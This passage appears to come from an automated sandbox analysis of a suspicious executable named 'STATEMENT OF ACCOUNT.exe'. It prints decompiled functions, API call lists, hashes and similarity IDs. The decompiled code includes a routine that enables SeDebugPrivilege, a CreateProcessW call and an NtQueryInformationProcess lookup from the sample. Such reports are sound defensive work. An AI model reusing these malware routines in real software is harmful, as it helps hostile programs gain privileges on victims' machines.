					exit(_t42);
					_t43 = _v24;
					_t52 =  *((intOrPtr*)( *_t43));
					_v124 = _t52;
					_push(_t43);
					_push(_t52);
					L013516DC();
					return _t43;
				} else {
					_v8 = _v8 | 0xffffffff;
					 *[fs:0x0] = _v20;
					return _t37;
				}
			}

0x01351532
0x01351534
0x01351539
0x01351544
0x01351545
0x01351552
0x01351557
0x0135155c
0x0135155e
0x01351565
0x0135156c
0x0135157f
0x0135158d
0x01351596
0x0135159b
0x013515a6
0x013515ad
0x013515b3
0x013515b4
0x013515c3
0x013515cd
0x013515e6
0x013515ec
0x013515f1
0x013515f6
0x013515fe
0x01351603
0x01351607
0x0135161c
0x01351623
0x0135166a
0x01351670
0x01351672
0x01351672
0x01351625
0x01351625
0x01351625
0x01351627
0x0135162a
0x0135162d
0x0135163c
0x0135163e
0x0135163e
0x01351640
0x01351640
0x0135163c
0x01351643
0x01351649
0x00000000
0x00000000
0x01351651
0x01351658
0x01351662
0x01351679
0x01351664
0x01351664
0x01351664
0x0135167a
0x0135167b
0x0135167c
0x01351684
0x01351685
0x0135168a
0x0135168e
0x01351694
0x01351699
0x0135169b
0x0135169e
0x0135169f
0x013516a0
0x013516a7
0x01351609
0x01351609
0x01351610
0x0135161b
0x0135161b

APIs

__set_app_type.MSVCRT ref: 0135155E
__p__fmode.MSVCRT ref: 01351573
__p__commode.MSVCRT ref: 01351581
__setusermatherr.MSVCRT ref: 013515AD
_initterm.MSVCRT ref: 013515C3
__wgetmainargs.KERNELBASE ref: 013515E6
_initterm.MSVCRT ref: 013515F6
GetStartupInfoW.KERNEL32(?), ref: 01351658
GetModuleHandleW.KERNEL32(00000000,00000000,?,0000000A), ref: 0135167E
exit.MSVCRT ref: 0135168E
_XcptFilter.MSVCRT ref: 013516A0

Memory Dump Source

Source File: 00000000.00000002.659619553.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.659609125.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.659624654.0000000001352000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.659630359.0000000001354000.00000002.00020000.sdmp Download File

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__p__commode__p__fmode__set_app_type__setusermatherr__wgetmainargsexit
String ID:
API String ID: 3327129161-0
Opcode ID: 128cfb0c23363b95c9187e29731a620a33af8499531f59c6ac44e0c6e8374715
Instruction ID: 3896dc5db10087f6669f637fa954abc75e92b07bf9c5745f302f72395b1e9f9e
Opcode Fuzzy Hash: 128cfb0c23363b95c9187e29731a620a33af8499531f59c6ac44e0c6e8374715
Instruction Fuzzy Hash: 66416DB6900305DFCB75AFA9D845EAABBB8FB04F68F24061EEC1293294D7744940CF60

Uniqueness

Uniqueness Score: -1.00%

Function 01130F23, Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 428processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 01131101

Strings

D, xrefs: 01130F5A

Memory Dump Source

Source File: 00000000.00000002.659587777.0000000001130000.00000040.00000001.sdmp, Offset: 01130000, based on PE: false

Similarity

API ID: CreateProcess
String ID: D
API String ID: 963392458-2746444292
Opcode ID: e811fb7506a7d05cb25c58249d36748203fa9f50883b8a3a5c9f0a3a089728f6
Instruction ID: e9a3da83f2ecd0e53bec09d5d0f3c1d3598f5f88e0367fd2d8f5c9a745e9da51
Opcode Fuzzy Hash: e811fb7506a7d05cb25c58249d36748203fa9f50883b8a3a5c9f0a3a089728f6
Instruction Fuzzy Hash: 1302F270E00219EFEB18DFA8C985BADBBF5BF48305F244069E515BB295D770AA81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 01130AB5, Relevance: 1.7, APIs: 1, Instructions: 188COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(00000000,000ED800,000ED800,000ED800), ref: 01130C8B

Memory Dump Source

Source File: 00000000.00000002.659587777.0000000001130000.00000040.00000001.sdmp, Offset: 01130000, based on PE: false

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: b18b846512da93433d45c1e43de91a107f4e9b8c7eaa944c9399667723f0aa3e
Instruction ID: e788f006c19e8de3e85d104d99f5bb9aaf05566cf2b7b9f9d418b467df4d043a
Opcode Fuzzy Hash: b18b846512da93433d45c1e43de91a107f4e9b8c7eaa944c9399667723f0aa3e
Instruction Fuzzy Hash: AB519919E64388A9DB60CBE8F851BBDB7B1AF48B10F20541BE51CEF2E0E3750991D709

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 011308EE, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.659587777.0000000001130000.00000040.00000001.sdmp, Offset: 01130000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4324828f627b6bb0fb9c77ef1135b1a25c16c170ba8a3c28242676e39d3c830
Instruction ID: 8e0fcbd226df310d4391e153934a6cfec96e6121b82c397588fd4d0800eb0793
Opcode Fuzzy Hash: f4324828f627b6bb0fb9c77ef1135b1a25c16c170ba8a3c28242676e39d3c830
Instruction Fuzzy Hash: 9E11A336A00109EFEB14DBAED88496DF7FDEB89664B554065F809D3214F7709E41C660

Uniqueness

Uniqueness Score: -1.00%

Function 011309DE, Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.659587777.0000000001130000.00000040.00000001.sdmp, Offset: 01130000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16547e1fdedecc12c00c52f4e517689794c9225d74c133a4488530a871c9f38f
Instruction ID: ac02ad6aa7d316b6712c0deb025884446614535027cdcceab9e81513c4ec143b
Opcode Fuzzy Hash: 16547e1fdedecc12c00c52f4e517689794c9225d74c133a4488530a871c9f38f
Instruction Fuzzy Hash: 02E09A397606099FCB48CBA8D880D25B3F8EB4C220B124390FC29C73A0EB34EE01DA50

Uniqueness

Uniqueness Score: -1.00%

Function 01130A1C, Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.659587777.0000000001130000.00000040.00000001.sdmp, Offset: 01130000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c0ee92d967234240d1aeaee57440cb1fca394a3c7c5a1b28cb5c43ac66d8783
Instruction ID: 8fc2aa05d1b45a7d73e33fb05755c0c5934803dc7dd36bd7775d251f57bc3fae
Opcode Fuzzy Hash: 2c0ee92d967234240d1aeaee57440cb1fca394a3c7c5a1b28cb5c43ac66d8783
Instruction Fuzzy Hash: 04E046367115608BC3299A19A480966F3E8EBCC2B171A496AF94AE3B16C330EC02C690

Uniqueness

Uniqueness Score: -1.00%

Function 0113099F, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.659587777.0000000001130000.00000040.00000001.sdmp, Offset: 01130000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c05f99247aa81ce170190a3f42a6638173cba83a8e8f878aed30f5516b3ecb7
Instruction ID: 01513cdb45ce42654985ae443ff07ed2023d2f9c2cc80418f216d1c85a703bac
Opcode Fuzzy Hash: 7c05f99247aa81ce170190a3f42a6638173cba83a8e8f878aed30f5516b3ecb7
Instruction Fuzzy Hash: ECC00139661A40CFCA55CF08C194E00B3F4FB5D760B068491E906CB732C234ED40DA40

Uniqueness

Uniqueness Score: -1.00%

Function 01351480, Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 29
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E01351480(WCHAR* _a8, signed int _a12, intOrPtr* _a20) {
				intOrPtr* _t10;
				int _t13;
				WCHAR* _t16;
				void* _t17;

				_t16 = _a8;
				if(lstrcmpW(_t16, ?str?) == 0) {
					L2:
					_t17 = 0;
					if((_a12 & 0x00000002) != 0) {
						_t10 =  *0x1353258;
						 *((intOrPtr*)( *_t10 + 4))(_t10);
						 *_a20 =  *0x1353258;
					}
					L4:
					return _t17;
				}
				_t13 = lstrcmpW(_t16, L"WScript");
				_t17 = 0x80004005;
				if(_t13 != 0) {
					goto L4;
				}
				goto L2;
			}

0x01351482
0x01351494
0x013514ab
0x013514af
0x013514b3
0x013514b5
0x013514c1
0x013514c9
0x013514c9
0x013514cb
0x013514cf
0x013514cf
0x0135149c
0x013514a2
0x013514a9
0x00000000
0x00000000
0x00000000

APIs

lstrcmpW.KERNEL32(?,WSH), ref: 0135148C
lstrcmpW.KERNEL32(?,WScript), ref: 0135149C

Strings

WSH, xrefs: 01351486
WScript, xrefs: 01351496

Memory Dump Source

Source File: 00000000.00000002.659619553.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.659609125.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.659624654.0000000001352000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.659630359.0000000001354000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrcmp
String ID: WSH$WScript
API String ID: 1534048567-1019903269
Opcode ID: 95cfc2b4682616607aec23ab3845185131d519584aa3dd2adfd093ce578147ed
Instruction ID: 32840eec6495395cf79c47345ed74ac5ca5c7c8bba6526cfe078280a8f6e8694
Opcode Fuzzy Hash: 95cfc2b4682616607aec23ab3845185131d519584aa3dd2adfd093ce578147ed
Instruction Fuzzy Hash: 0DF0F876200721ABD761DE58D884E577BB8AF89F98B064428FD01E7204C3309842CBA5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: STATEMENT OF ACCOUNT.exe PID: 6524 Parent PID: 6500 STATEMENT OF ACCOUNT.exeCOMMON

Executed Functions

Function 004BA019, Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 370
timeCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E004BA019(void* __ebx, void* __edi, signed int __esi, signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				char _v52;
				signed int _v56;
				signed int _v60;
				signed int _v100;
				char _v272;
				intOrPtr _v276;
				char _v280;
				char _v356;
				char _v360;
				void* __ebp;
				signed int _t65;
				signed int _t72;
				signed int _t74;
				signed int _t78;
				signed int _t85;
				long _t91;
				signed int* _t94;
				signed int _t97;
				signed int _t100;
				signed int _t104;
				void* _t111;
				signed int _t114;
				void* _t115;
				void* _t117;
				void* _t118;
				void* _t120;
				signed int _t122;
				signed int _t123;
				signed int* _t126;
				signed int _t127;
				void* _t130;
				void* _t132;
				signed int _t133;
				signed int _t135;
				void* _t138;
				intOrPtr _t139;
				void* _t141;
				signed int _t148;
				signed int _t149;
				signed int _t152;
				signed int _t156;
				signed int _t159;
				intOrPtr* _t164;
				signed int _t165;
				intOrPtr* _t166;
				void* _t167;
				intOrPtr _t168;
				void* _t169;
				signed int _t170;
				void* _t174;
				signed int _t176;
				intOrPtr* _t177;
				signed int _t181;
				signed int _t182;
				void* _t189;
				signed int _t190;
				void* _t191;
				signed int _t192;

				_t176 = __esi;
				_t169 = __edi;
				_t65 = L004B99E4();
				_v8 = _v8 & 0x00000000;
				_t135 = _t65;
				_v16 = _v16 & 0x00000000;
				_v12 = _t135;
				if(L004B9A42( &_v8) != 0 || L004B99EA( &_v16) != 0) {
					L46:
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					L004A5EA4(0);
					asm("int3");
					_t189 = _t191;
					_t192 = _t191 - 0x10;
					_push(_t135);
					_t177 = L004B99E4();
					_v52 = 0;
					_v56 = 0;
					_v60 = 0;
					_t72 = L004B9A42( &_v52);
					_t141 = _t176;
					__eflags = _t72;
					if(_t72 != 0) {
						L66:
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						L004A5EA4(_t72);
						asm("int3");
						_push(_t189);
						_t190 = _t192;
						_t74 =  *0x4eb018; // 0xf39dfde0
						_v100 = _t74 ^ _t190;
						 *0x4eb464 =  *0x4eb464 | 0xffffffff;
						 *0x4eb458 =  *0x4eb458 | 0xffffffff;
						_push(0);
						_push(_t177);
						_push(_t169);
						_t137 = "TZ";
						_t170 = 0;
						 *0x4eea10 = 0;
						_t78 = E004AC555(__eflags,  &_v360,  &_v356, 0x100, "TZ");
						__eflags = _t78;
						if(_t78 != 0) {
							__eflags = _t78 - 0x22;
							if(_t78 == 0x22) {
								_t182 = E004B3009(_t141, _v276);
								__eflags = _t182;
								if(__eflags != 0) {
									_t85 = E004AC555(__eflags,  &_v280, _t182, _v276, _t137);
									__eflags = _t85;
									if(_t85 == 0) {
										E004B2FCF(0);
										_t170 = _t182;
									} else {
										_push(_t182);
										goto L72;
									}
								} else {
									_push(0);
									L72:
									E004B2FCF();
								}
							}
						} else {
							_t170 =  &_v272;
						}
						asm("sbb esi, esi");
						_t181 =  ~(_t170 -  &_v272) & _t170;
						__eflags = _t170;
						if(_t170 == 0) {
							L80:
							L47(); // executed
						} else {
							__eflags =  *_t170;
							if( *_t170 == 0) {
								goto L80;
							} else {
								_push(_t170);
								E004BA019(_t137, _t170, _t181);
							}
						}
						E004B2FCF(_t181);
						__eflags = _v16 ^ _t190;
						return L0049CE1D(_v16 ^ _t190);
					} else {
						_t72 = L004B99EA( &_v16);
						_pop(_t141);
						__eflags = _t72;
						if(_t72 != 0) {
							goto L66;
						} else {
							_t72 = L004B9A16( &_v20);
							_pop(_t141);
							__eflags = _t72;
							if(_t72 != 0) {
								goto L66;
							} else {
								E004B2FCF( *0x4eea08);
								 *0x4eea08 = 0;
								 *_t192 = 0x4eea18; // executed
								_t91 = GetTimeZoneInformation(??); // executed
								__eflags = _t91 - 0xffffffff;
								if(_t91 != 0xffffffff) {
									_t148 =  *0x4eea18 * 0x3c;
									_t165 =  *0x4eea6c; // 0x0
									_push(_t169);
									 *0x4eea10 = 1;
									_v12 = _t148;
									__eflags =  *0x4eea5e; // 0xa
									if(__eflags != 0) {
										_t149 = _t148 + _t165 * 0x3c;
										__eflags = _t149;
										_v12 = _t149;
									}
									__eflags =  *0x4eeab2; // 0x3
									if(__eflags == 0) {
										L56:
										_v16 = 0;
										_v20 = 0;
									} else {
										_t104 =  *0x4eeac0; // 0xffffffc4
										__eflags = _t104;
										if(_t104 == 0) {
											goto L56;
										} else {
											_v16 = 1;
											_v20 = (_t104 - _t165) * 0x3c;
										}
									}
									_t174 = E004AE4AF();
									_t97 =  *0x4f003c(_t174, 0, "W. Europe Standard Time", 0xffffffff,  *_t177, 0x3f, 0,  &_v24);
									__eflags = _t97;
									if(_t97 == 0) {
										L60:
										 *((char*)( *_t177)) = 0;
									} else {
										__eflags = _v24;
										if(_v24 != 0) {
											goto L60;
										} else {
											 *((char*)( *_t177 + 0x3f)) = 0;
										}
									}
									_t100 =  *0x4f003c(_t174, 0, "W. Europe Daylight Time", 0xffffffff,  *((intOrPtr*)(_t177 + 4)), 0x3f, 0,  &_v24);
									__eflags = _t100;
									if(_t100 == 0) {
										L64:
										 *((char*)( *((intOrPtr*)(_t177 + 4)))) = 0;
									} else {
										__eflags = _v24;
										if(_v24 != 0) {
											goto L64;
										} else {
											 *((char*)( *((intOrPtr*)(_t177 + 4)) + 0x3f)) = 0;
										}
									}
								}
								 *(L004B99DE()) = _v12;
								 *((intOrPtr*)(L004B99D2())) = _v16;
								_t94 = L004B99D8();
								 *_t94 = _v20;
								return _t94;
							}
						}
					}
				} else {
					_t166 =  *0x4eea08; // 0x0
					_t176 = _a4;
					if(_t166 == 0) {
						L12:
						E004B2FCF(_t166);
						_t152 = _t176;
						_t12 = _t152 + 1; // 0x4ba40a
						_t167 = _t12;
						do {
							_t111 =  *_t152;
							_t152 = _t152 + 1;
						} while (_t111 != 0);
						_t13 = _t152 - _t167 + 1; // 0x4ba40b
						 *0x4eea08 = E004B3009(_t152 - _t167, _t13);
						_t114 = E004B2FCF(0);
						_t168 =  *0x4eea08; // 0x0
						if(_t168 == 0) {
							goto L45;
						} else {
							_t156 = _t176;
							_push(_t169);
							_t14 = _t156 + 1; // 0x4ba40a
							_t169 = _t14;
							do {
								_t115 =  *_t156;
								_t156 = _t156 + 1;
							} while (_t115 != 0);
							_t15 = _t156 - _t169 + 1; // 0x4ba40b
							_t117 = E004AD3A2(_t168, _t15, _t176);
							_t191 = _t191 + 0xc;
							if(_t117 == 0) {
								_t169 = 3;
								_push(_t169);
								_t118 = L004C18F1(_t157,  *_t135, 0x40, _t176);
								_t191 = _t191 + 0x10;
								if(_t118 == 0) {
									while( *_t176 != 0) {
										_t176 = _t176 + 1;
										_t169 = _t169 - 1;
										if(_t169 != 0) {
											continue;
										}
										break;
									}
									_pop(_t169);
									_t135 = _t135 & 0xffffff00 |  *_t176 == 0x0000002d;
									if(_t135 != 0) {
										_t176 = _t176 + 1;
									}
									_t159 = E004AC2E8(_t157, _t176) * 0xe10;
									_v8 = _t159;
									while(1) {
										_t120 =  *_t176;
										if(_t120 != 0x2b && (_t120 < 0x30 || _t120 > 0x39)) {
											break;
										}
										_t176 = _t176 + 1;
									}
									__eflags =  *_t176 - 0x3a;
									if( *_t176 == 0x3a) {
										_t176 = _t176 + 1;
										_t159 = _v8 + E004AC2E8(_t159, _t176) * 0x3c;
										_v8 = _t159;
										while(1) {
											_t130 =  *_t176;
											__eflags = _t130 - 0x30;
											if(_t130 < 0x30) {
												break;
											}
											__eflags = _t130 - 0x39;
											if(_t130 <= 0x39) {
												_t176 = _t176 + 1;
												__eflags = _t176;
												continue;
											}
											break;
										}
										__eflags =  *_t176 - 0x3a;
										if( *_t176 == 0x3a) {
											_t176 = _t176 + 1;
											_t159 = _v8 + E004AC2E8(_t159, _t176);
											_v8 = _t159;
											while(1) {
												_t132 =  *_t176;
												__eflags = _t132 - 0x30;
												if(_t132 < 0x30) {
													goto L38;
												}
												__eflags = _t132 - 0x39;
												if(_t132 <= 0x39) {
													_t176 = _t176 + 1;
													__eflags = _t176;
													continue;
												}
												goto L38;
											}
										}
									}
									L38:
									__eflags = _t135;
									if(_t135 != 0) {
										_v8 = _t159;
									}
									__eflags =  *_t176;
									_t122 = 0 |  *_t176 != 0x00000000;
									_v16 = _t122;
									__eflags = _t122;
									_t123 = _v12;
									if(_t122 == 0) {
										_t29 = _t123 + 4; // 0xfffffddd
										 *((char*)( *_t29)) = 0;
										L44:
										 *(L004B99DE()) = _v8;
										_t126 = L004B99D2();
										 *_t126 = _v16;
										return _t126;
									}
									_push(3);
									_t28 = _t123 + 4; // 0xfffffddd
									_t127 = L004C18F1(_t159,  *_t28, 0x40, _t176);
									_t191 = _t191 + 0x10;
									__eflags = _t127;
									if(_t127 == 0) {
										goto L44;
									}
								}
							}
							goto L46;
						}
					} else {
						_t164 = _t166;
						_t133 = _t176;
						while(1) {
							_t138 =  *_t133;
							if(_t138 !=  *_t164) {
								break;
							}
							if(_t138 == 0) {
								L8:
								_t114 = 0;
							} else {
								_t9 = _t133 + 1; // 0xdde805eb
								_t139 =  *_t9;
								if(_t139 !=  *((intOrPtr*)(_t164 + 1))) {
									break;
								} else {
									_t133 = _t133 + 2;
									_t164 = _t164 + 2;
									if(_t139 != 0) {
										continue;
									} else {
										goto L8;
									}
								}
							}
							L10:
							if(_t114 == 0) {
								L45:
								return _t114;
							} else {
								_t135 = _v12;
								goto L12;
							}
							goto L82;
						}
						asm("sbb eax, eax");
						_t114 = _t133 | 0x00000001;
						__eflags = _t114;
						goto L10;
					}
				}
				L82:
			}

0x004ba019
0x004ba019
0x004ba023
0x004ba028
0x004ba02c
0x004ba02e
0x004ba036
0x004ba041
0x004ba1e1
0x004ba1e3
0x004ba1e4
0x004ba1e5
0x004ba1e6
0x004ba1e7
0x004ba1e8
0x004ba1ed
0x004ba1f1
0x004ba1f3
0x004ba1f6
0x004ba1fd
0x004ba204
0x004ba208
0x004ba20b
0x004ba20e
0x004ba213
0x004ba214
0x004ba216
0x004ba33e
0x004ba33e
0x004ba33f
0x004ba340
0x004ba341
0x004ba342
0x004ba343
0x004ba348
0x004ba34b
0x004ba34c
0x004ba354
0x004ba35b
0x004ba35e
0x004ba36b
0x004ba372
0x004ba373
0x004ba374
0x004ba375
0x004ba37a
0x004ba389
0x004ba390
0x004ba398
0x004ba39a
0x004ba3a4
0x004ba3a7
0x004ba3b4
0x004ba3b7
0x004ba3b9
0x004ba3d2
0x004ba3da
0x004ba3dc
0x004ba3e2
0x004ba3e7
0x004ba3de
0x004ba3de
0x00000000
0x004ba3de
0x004ba3bb
0x004ba3bb
0x004ba3bc
0x004ba3bc
0x004ba3bc
0x004ba3e9
0x004ba39c
0x004ba39c
0x004ba39c
0x004ba3f6
0x004ba3f8
0x004ba3fa
0x004ba3fc
0x004ba40c
0x004ba40c
0x004ba3fe
0x004ba3fe
0x004ba401
0x00000000
0x004ba403
0x004ba403
0x004ba404
0x004ba409
0x004ba401
0x004ba412
0x004ba41d
0x004ba428
0x004ba21c
0x004ba220
0x004ba225
0x004ba226
0x004ba228
0x00000000
0x004ba22e
0x004ba232
0x004ba237
0x004ba238
0x004ba23a
0x00000000
0x004ba240
0x004ba246
0x004ba24b
0x004ba251
0x004ba258
0x004ba25e
0x004ba261
0x004ba267
0x004ba26e
0x004ba274
0x004ba278
0x004ba27e
0x004ba281
0x004ba288
0x004ba28d
0x004ba28d
0x004ba28f
0x004ba28f
0x004ba292
0x004ba299
0x004ba2b1
0x004ba2b1
0x004ba2b4
0x004ba29b
0x004ba29b
0x004ba2a0
0x004ba2a2
0x00000000
0x004ba2a4
0x004ba2a6
0x004ba2ac
0x004ba2ac
0x004ba2a2
0x004ba2bc
0x004ba2d0
0x004ba2d6
0x004ba2d8
0x004ba2e6
0x004ba2e8
0x004ba2da
0x004ba2da
0x004ba2dd
0x00000000
0x004ba2df
0x004ba2e1
0x004ba2e1
0x004ba2dd
0x004ba2fd
0x004ba304
0x004ba306
0x004ba315
0x004ba318
0x004ba308
0x004ba308
0x004ba30b
0x00000000
0x004ba30d
0x004ba310
0x004ba310
0x004ba30b
0x004ba306
0x004ba322
0x004ba32c
0x004ba331
0x004ba336
0x004ba33d
0x004ba33d
0x004ba23a
0x004ba228
0x004ba059
0x004ba059
0x004ba05f
0x004ba064
0x004ba09a
0x004ba09b
0x004ba0a1
0x004ba0a3
0x004ba0a3
0x004ba0a6
0x004ba0a6
0x004ba0a8
0x004ba0a9
0x004ba0af
0x004ba0ba
0x004ba0bf
0x004ba0c4
0x004ba0ce
0x00000000
0x004ba0d4
0x004ba0d4
0x004ba0d6
0x004ba0d7
0x004ba0d7
0x004ba0da
0x004ba0da
0x004ba0dc
0x004ba0dd
0x004ba0e4
0x004ba0e9
0x004ba0ee
0x004ba0f3
0x004ba0fb
0x004ba0fc
0x004ba102
0x004ba107
0x004ba10c
0x004ba112
0x004ba117
0x004ba118
0x004ba11b
0x00000000
0x00000000
0x00000000
0x004ba11b
0x004ba120
0x004ba121
0x004ba126
0x004ba128
0x004ba128
0x004ba130
0x004ba136
0x004ba139
0x004ba139
0x004ba13d
0x00000000
0x00000000
0x004ba147
0x004ba147
0x004ba14a
0x004ba14d
0x004ba14f
0x004ba15d
0x004ba15f
0x004ba169
0x004ba169
0x004ba16b
0x004ba16d
0x00000000
0x00000000
0x004ba164
0x004ba166
0x004ba168
0x004ba168
0x00000000
0x004ba168
0x00000000
0x004ba166
0x004ba16f
0x004ba172
0x004ba174
0x004ba17f
0x004ba181
0x004ba18b
0x004ba18b
0x004ba18d
0x004ba18f
0x00000000
0x00000000
0x004ba186
0x004ba188
0x004ba18a
0x004ba18a
0x00000000
0x004ba18a
0x00000000
0x004ba188
0x004ba18b
0x004ba172
0x004ba191
0x004ba191
0x004ba193
0x004ba197
0x004ba197
0x004ba19c
0x004ba19e
0x004ba1a1
0x004ba1a4
0x004ba1a6
0x004ba1a9
0x004ba1c1
0x004ba1c4
0x004ba1c7
0x004ba1cf
0x004ba1d4
0x004ba1d9
0x00000000
0x004ba1d9
0x004ba1ab
0x004ba1b0
0x004ba1b3
0x004ba1b8
0x004ba1bb
0x004ba1bd
0x00000000
0x00000000
0x004ba1bf
0x004ba10c
0x00000000
0x004ba0f3
0x004ba066
0x004ba066
0x004ba068
0x004ba06a
0x004ba06a
0x004ba06e
0x00000000
0x00000000
0x004ba072
0x004ba086
0x004ba086
0x004ba074
0x004ba074
0x004ba074
0x004ba07a
0x00000000
0x004ba07c
0x004ba07c
0x004ba07f
0x004ba084
0x00000000
0x00000000
0x00000000
0x00000000
0x004ba084
0x004ba07a
0x004ba08f
0x004ba091
0x004ba1e0
0x004ba1e0
0x004ba097
0x004ba097
0x00000000
0x004ba097
0x00000000
0x004ba091
0x004ba08a
0x004ba08c
0x004ba08c
0x00000000
0x004ba08c
0x004ba064
0x00000000

APIs

_free.LIBCMT ref: 004BA09B
_free.LIBCMT ref: 004BA0BF
_free.LIBCMT ref: 004BA246
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,004078B0), ref: 004BA258
_free.LIBCMT ref: 004BA412

Strings

W. Europe Daylight Time, xrefs: 004BA2F6
W. Europe Standard Time, xrefs: 004BA2C9

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free$InformationTimeZone
String ID: W. Europe Daylight Time$W. Europe Standard Time
API String ID: 597776487-986674615
Opcode ID: c2bbfe1951e993ec81f277e3179625c8652b62e7d3a059a82c11f95731624302
Instruction ID: c7439f9608b8c8f052815cb7c37f01633d4ad8815d3d8a48d05f79c4e51f4a0d
Opcode Fuzzy Hash: c2bbfe1951e993ec81f277e3179625c8652b62e7d3a059a82c11f95731624302
Instruction Fuzzy Hash: EDC12871904244ABDB249F7E8C81AEB7BB8EF41314F1445AFE4809B352E7388E51C77A

Uniqueness

Uniqueness Score: -1.00%

Function 00447818, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00447818(void* __ebx, void* __edx, void* __edi, void* __esi) {
				signed int _v8;
				int _v12;
				intOrPtr _v16;
				struct _TOKEN_PRIVILEGES _v24;
				signed int _v28;
				intOrPtr _v32;
				struct _TOKEN_PRIVILEGES _v40;
				struct _LUID _v48;
				long _v52;
				void* _v56;
				signed int _t28;
				int _t34;
				void* _t57;
				long _t60;
				signed int _t63;

				_t65 = (_t63 & 0xfffffff8) - 0x34;
				_t28 =  *0x4eb018; // 0xf39dfde0
				_v8 = _t28 ^ (_t63 & 0xfffffff8) - 0x00000034;
				_t60 = 0x10;
				_v52 = _t60;
				_t57 = __edx;
				if(OpenProcessToken(GetCurrentProcess(), 0x22,  &_v56) != 0) {
					_t34 = LookupPrivilegeValueW(0, L"SeDebugPrivilege",  &_v48); // executed
					if(_t34 == 0) {
						L2:
						L3:
						return L0049CE1D(_v8 ^ _t65);
					}
					_v24.Privileges = _v48.LowPart;
					_v16 = _v48.HighPart;
					_v24.PrivilegeCount = 1;
					_v12 = 0;
					AdjustTokenPrivileges(_v56, 0,  &_v24, _t60,  &_v40,  &_v52); // executed
					_v40.Privileges = _v48.LowPart;
					_v40.PrivilegeCount = 1;
					_v32 = _v48.HighPart;
					if(_t57 == 0) {
						_v28 = _v28 & 0xfffffffd;
					} else {
						_v28 = _v28 | 0x00000002;
					}
					AdjustTokenPrivileges(_v56, 0,  &_v40, _v52, 0, 0); // executed
					if( *0x4f0018() != 0) {
						goto L2;
					}
					goto L3;
				}
				 *0x4f0018();
				goto L2;
			}

0x0044781e
0x00447821
0x00447828
0x00447831
0x00447836
0x0044783d
0x0044784e
0x00447877
0x0044787f
0x00447856
0x00447858
0x00447869
0x00447869
0x00447885
0x0044788d
0x0044789a
0x004478b4
0x004478b8
0x004478be
0x004478c6
0x004478ce
0x004478d4
0x004478dd
0x004478d6
0x004478d6
0x004478d6
0x004478f2
0x004478fc
0x00000000
0x00000000
0x00000000
0x00447902
0x00447850
0x00000000

APIs

GetCurrentProcess.KERNEL32(00000022,?), ref: 0044783F
OpenProcessToken.ADVAPI32(00000000), ref: 00447846
LookupPrivilegeValueW.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 00447877
AdjustTokenPrivileges.KERNELBASE(?,00000000,?,00000010,?), ref: 004478B8
AdjustTokenPrivileges.KERNELBASE(?,00000000,000000FD,?,00000000,00000000), ref: 004478F2

Strings

SeDebugPrivilege, xrefs: 00447871

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Token$AdjustPrivilegesProcess$CurrentLookupOpenPrivilegeValue
String ID: SeDebugPrivilege
API String ID: 936316106-2896544425
Opcode ID: 85fb92490f0f8a15989a6b66606816f3162ba23b3d7adfa96b60684d9a0e7cd6
Instruction ID: 90dea48e7e83108975329189df0cb34afaa59d95de0f56ed7103f25d54040895
Opcode Fuzzy Hash: 85fb92490f0f8a15989a6b66606816f3162ba23b3d7adfa96b60684d9a0e7cd6
Instruction Fuzzy Hash: 3A214FB1518345AFD310DF24DC84E6BBBE8FB88754F000A2EF895C6251E774D905CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 004382E8, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL(00000000), ref: 0043832D

Strings

NtQueryInformationProcess, xrefs: 004382FD
NTDLL.DLL, xrefs: 00438302

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: InformationProcessQuery
String ID: NTDLL.DLL$NtQueryInformationProcess
API String ID: 1778838933-2613899276
Opcode ID: dfd8b8bb9dec71ef832ee325f34343ce159435f71b5cfb3d5a7ae222f34f9b7a
